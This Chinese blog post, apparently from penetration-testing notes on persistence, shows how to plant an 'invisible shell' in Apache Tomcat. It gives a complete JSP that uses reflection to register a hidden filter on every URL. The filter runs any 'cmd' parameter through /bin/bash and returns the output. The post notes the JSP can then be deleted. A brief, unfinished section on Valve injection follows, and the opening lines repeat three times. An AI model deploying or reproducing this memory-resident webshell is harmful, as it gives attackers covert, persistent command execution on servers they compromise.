[TOC]
Tomcat源代码调试看不见的 Shell
描述: 调试了 tomcat 从接收到一个socket, 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程
Step1.运行时动态插入过滤器
描述:需要了解过滤器的基础概念以及作用, Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法:
[TOC]
描述: 调试了 tomcat 从接收到一个socket, 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程
Step1.运行时动态插入过滤器
描述:需要了解过滤器的基础概念以及作用, Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法:
[TOC]
描述: 调试了 tomcat 从接收到一个socket, 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程
Step1.运行时动态插入过滤器
描述:需要了解过滤器的基础概念以及作用, Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法:1
2
3
4#三个方法使得我们可以在运行时动态地添加过滤器。
FilterRegistration.Dynamic addFilter(String filterName,String className)
FilterRegistration.Dynamic addFilter(String filterName,Filter filter)
FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)
Tomcat 对 ServletContext 接口的实现类为:org.apache.catalina.core.ApplicationContextFacade
,真正的组装方法位于org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
,组装完成后开始调用过滤器链
因为 Tomcat 在对这个接口的实现中,是只允许在容器还没有初始化完成的时候调用这几个方法。
一旦容器初始化已经结束,调用时就会出现异常:
shell示例:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ page import="java.io.IOException"%>
<%@ page import="javax.servlet.DispatcherType"%>
<%@ page import="javax.servlet.Filter"%>
<%@ page import="javax.servlet.FilterChain"%>
<%@ page import="javax.servlet.FilterConfig"%>
<%@ page import="javax.servlet.FilterRegistration"%>
<%@ page import="javax.servlet.ServletContext"%>
<%@ page import="javax.servlet.ServletException"%>
<%@ page import="javax.servlet.ServletRequest"%>
<%@ page import="javax.servlet.ServletResponse"%>
<%@ page import="javax.servlet.annotation.WebServlet"%>
<%@ page import="javax.servlet.http.HttpServlet"%>
<%@ page import="javax.servlet.http.HttpServletRequest"%>
<%@ page import="javax.servlet.http.HttpServletResponse"%>
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.tomcat.util.descriptor.web.*"%>
<%@ page import="org.apache.catalina.Context"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.util.Map"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<%
final String name = "WeiyiGeel";
ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);
f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);
f = standardCtx.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map)f.get(standardCtx);
if (filterConfigs.get(name) == null) {
out.println("inject "+ name);
Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
}
@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
// TODO Auto-generated method stub
HttpServletRequest req = (HttpServletRequest)arg0;
if (req.getParameter("cmd") != null) {
byte[] data = new byte[1024];
Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
int len = p.getInputStream().read(data);
p.destroy();
arg1.getWriter().write(new String(data, 0, len));
return;
}
arg2.doFilter(arg0, arg1);
}
@Override
public void destroy() {
// TODO Auto-generated method stub
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardCtx.addFilterDef(filterDef);
FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/*");
standardCtx.addFilterMapBefore(m);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);
filterConfigs.put(name, filterConfig);
out.println("injected");
}
%>
</body>
</html>
访问后如果看到 injected 字样,说明我们的过滤器已经插入成功,随后可以将此 jsp 文件删掉。随后任何带有 cmd 参数的请求都会被此过滤器拦下来,并执行 shell 命令,达到“看不见的 shell”的效果。
Step2.动态插入 Valve
Valve 是 Tomcat 中的用于对Container 组件(Engine/Host/Context/Wrapper)进行扩展一种机制。
Tomcat 中 Container 类型的组件之间的上下级调用基本上都是通过pipeline 与 valve 完成的, 通常是多个Valve组装在一起放在Pipeline 里面;
Valve 接口定义了如下的 invoke 方法:1
2publicvoid invoke(Request request, Response response)
throws IOException, ServletException;
我们只需在运行时向 Engine/Host/Context/Wrapper 这四种 Container 组件中的任意一个的pipeline 中插入一个我们自定义的 valve,在其中对相应的请求进行拦截并执行我们想要的功能,就可以达到与上面Filter 的方式一样的效果。
两种方式相同点:
你好看友,欢迎关注博主微信公众号哟! ❤
这将是我持续更新文章的动力源泉,谢谢支持!(๑′ᴗ‵๑)
温馨提示: 未解锁的用户不能粘贴复制文章内容哟!
方式1.请访问本博主的B站【WeiyiGeek】首页关注UP主,
将自动随机获取解锁验证码。
Method 2.Please visit 【My Twitter】. There is an article verification code in the homepage.
方式3.扫一扫下方二维码,关注本站官方公众号
回复:验证码
将获取解锁(有效期7天)本站所有技术文章哟!
@WeiyiGeek - 为了能到远方,脚下的每一步都不能少
欢迎各位志同道合的朋友一起学习交流,如文章有误请在下方留下您宝贵的经验知识,个人邮箱地址【master#weiyigeek.top】
或者个人公众号【WeiyiGeek】
联系我。
更多文章来源于【WeiyiGeek Blog - 为了能到远方,脚下的每一步都不能少】, 个人首页地址( https://weiyigeek.top )
专栏书写不易,如果您觉得这个专栏还不错的,请给这篇专栏 【点个赞、投个币、收个藏、关个注、转个发、赞个助】,这将对我的肯定,我将持续整理发布更多优质原创文章!。
最后更新时间:
文章原始路径:_posts/网安大类/PenetrationNote/持续维权/Backdoor/网站后门/免杀与免检测shell网页后门脚本.md
转载注明出处,原文地址:https://blog.weiyigeek.top/2019/8-28-403.html
本站文章内容遵循 知识共享 署名 - 非商业性 - 相同方式共享 4.0 国际协议